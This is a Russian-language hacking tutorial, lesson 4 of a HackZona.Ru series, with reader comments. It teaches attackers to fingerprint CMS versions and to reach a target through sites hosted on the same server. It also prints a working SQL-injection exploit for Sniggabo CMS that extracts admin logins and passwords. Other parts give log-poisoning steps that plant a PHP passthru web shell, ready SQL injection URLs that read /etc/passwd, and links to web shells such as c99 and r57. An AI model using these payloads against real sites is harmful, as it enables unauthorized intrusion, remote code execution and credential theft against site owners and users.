Основы хакерства. Урок 4 — HackZona.Ru

Основы хакерства. Урок 4

Основы хакерства. Урок 4

Тип статьи:
Со старой ХакЗоны.
Источник:
Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем:

  • Методы определения версии движка сайта/форума
  • ReversIP и полезные инструменты.
  • Разбираем сплоит.
  • Более углубленное знакомство с SQL injection php include
  • Прогулка по багтракам.


Методы определения версии движка
Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные)
Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов
расположенных на сайте (фотогаллереи, новостные ленты и т.п.).

Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают.
Гораздо более эффективный вариант это посмотреть исходный код страницы.

Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и
выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).


Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --])
Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мы
администрации и прочие вкусности.
В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.
Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа
www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу.
Ну думаю тут ясно. Теперь поговорим о форумах:
Обычно, что за форум определить несложно. Сложнее узнать версию.

В phpbb например есть очень интересный файлик —
CHANGELOG.html

Его, возможно обнаружить по пути
<br><br>
forum/docs/CHANGELOG.html


Там можно обнаружить надпись вроде
<br><br>
phpBB x.x.x Changelog


В IPB 1.3 присутствуют файлы ssi.php
show.php

В В 2.0.*
<br>
/sources/help.php <br>
/sources/usercp.php<br>
В 2.1.*<br>
/ips_kernel/PEAR/

Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.
Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.

Reverse IP и полезные инструменты.
Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так.
Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт,
который хостится на одном сервере с целевым сайтом (если такой
имеется). Либо наша цель получить root(права администратора) на сервере.
Тогда мы ищем, какие сайты хостятся на сервере и пытаемся
взломать один из них.
Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере.
Для этого мы будем использовать сканнеры.
Например, я пользуюсь вот этим онлайн сканером от madnet a

madnet.name/tools/madss/

Так же он составляет примерную структуру сайта.
Вот еще неплохой

security-digger.org/

Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.

Допустим, забиваем адрес www.job.ru
Сканер выдает нам соседние сайты.
Если речь пошла про онлайн тулзы приведу еще одну:

x3k.ru/

Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях),
так же есть сканер портов Reverse IP
whois сервис и еще несколько.
Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP

А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.


Разбираем сплоит.
Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я
советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил,
советую установить Denwer
Процесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать
анализ одной CMS, так что Денвер просто необходим.
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS:
<br><br>
Sniggabo-expl.php<br>
14 июня, 2009<br>
<?php<br>
print_r('<br><br>
 
################################################<br><br>
 
Sniggabo CMS - Remote SQL Injection Exploit<br><br>
 
Date:                11.06.2009<br>
Vulnerability discovered by:    Lidloses_Auge<br>
Exploit coded by:        Lidloses_Auge<br>
Homepage:                http://www.novusec.com<br>
Greetz to:            -=Player=- , Suicide, enco,<br>
                Palme, GPM, karamble, Free-Hack<br><br>
 
Admin Panel:             [target]/admin/login.php<br>
Dork:                "powered by Sniggabo CMS" inurl:article.php?id<br>
Use:                php '.$argv[0].' http://www.site.com<br><br>
 
################################################<br>
<br>
');<br>
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)</br>+from+users--";<br>
$src = file_get_contents($url);<br>
$data = split("::",$src);<br>
echo "Admin: $data[1]nPassword: $data[2]n";<br>
?>

Во-первых обратим внимания на эту строку:

Use: php '.$argv[0].' www.site.com

В ней показано, как нужно использовать этот эксплоит.
Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт.
Далее сам код:

В 1 2 3 строке мы составляем url
$argv[1] сайт, который мы передали в качестве параметра.
<br>
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"
; — собственно сам процесс получения логина и пароля.

Далее
<br>
$src = file_get_contents($url);

Обращаемся по составленному адресу и записываем результат в переменную $src
<br>
$data = split("::",$src);

Разделяем полученный результат по ключевой строке ::
<br>
echo "Admin: $data[1]nPassword: $data[2]n";


Выводим.
Если мы будем раскручивать уязвимость вручную, то результат будет таким:
Login::password
В сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password.

Local PHP include и выполнение произвольного кода.
Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.
Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют
httpd-access.log и httpd-error.log.
Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода.
Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack.
Итак, давайте попробуем забить в поле Referer такой код:
<br><br>
<? passthru($_GET['cmd']);?>


Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его.
Тут придется перебирать пути до логов.

Вот стандартные forum.hackzona.ru/forum-f8/thread-t13002.html

Ну допустим путь оказался таким:
<br><br>
../../../../../../etc/apache2/httpd.conf
www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=ls


И мы получим листинг файлов текущей директории (ls).
Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.

SQL injection.
Особенности 5 версии mysql
Что такое magic quotes
Как можно читать файлы с помощью инъекций.

До этого мы разбирали инъекции в mysql <5
В 5 версии есть кое-какие особенности.
Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <)
В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора.
Реализация
<br><br>
www.site.us/index.php?id=1<br>
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
<br(Читабельное поле 2)
И так тут либо мы увидим все таблицы базы либо только первую.
Если второе, то прочитать остальные имена можно с помощью limit:
<br><br>
www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES</br>+limit1,2/*


Читаем 2 запись.
Так, допустим нашли таблицу.
Теперь смотрим поля:
<br><br>
www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*


Опять же просмотр конкретных записей:
<br><br>
www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*


Ну и ищем поля типа password или login

Теперь поговорим про магические кавычки (magic quotes)
это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.
Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.
Волшебные кавычки бывают:
<br><br>
magic_quotes_gpc  проверяет запросы HTTP (GET, POST, и COOKIE) <br>
magic_quotes_runtime  функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.<br>
magic_quotes_sybase  одиночные кавычки экранируются двойными

Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.

Скоро я расскажу, как это обходить.
А теперь как можно прочитать файл с помощью инъекции.
Т.е. мы получим тот же локальный php include
Ну допустим, есть инъект:
<br><br>
www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*


Читабельно поле 2.
Загружать файлы можно так:
<br><br>
www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*


Прогулка по багтракам.В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент
идет только на пользу. Пожалуй приведу несколько:

Русскоязычные:
<br>
bugtraq.ru/<br>
securitylab.ru/<br>
securityvulns.ru/


Остальные:
<br>
milw0rm.com<br>
packetstormsecurity.org<br>
securityfocus.com



Приложение:Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную
статьюhttp://forum.antichat.ru/thread8038.html
Во вторых несколько ссылок на веб шеллы:
<br><br>
c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt<br>
AK-74 http://stranger.nextmail.ru/userban.txt<br>
 
r57shell http://www.securitylab.ru/software/234092.php

Далее советую прочитать недавнюю статью kerny PHP Include, и немного удачи.
ps не забываем что уголковые теги заменены на [ and ]
Нравится
Не нравится

7 комментариев

19:00
что это означает <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
10:31
Стрэйнджер! Ты рассказал им про скуяли инжектн. Берегись мир - они идут)
Хорошо как всегда)
19:28
www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,1/* - да но следовало бы указать для какой таблицы смотрим поля.
www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+where+table_name="имя_таблицы"+limit 1,1/*

Насчет инклуда, можно было-бы по больше техник показать.
18:50
Супер:)Я бхотел узнать побыстрее как обойти magic_quotes т.е. как я понял
18:47
молодец,новичкам оч полезно будет))
17:36
Хорошо!
00:42
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS:
я такой дурак шо даже непойму откуда взять сплоит куда вводить???обьясните плз))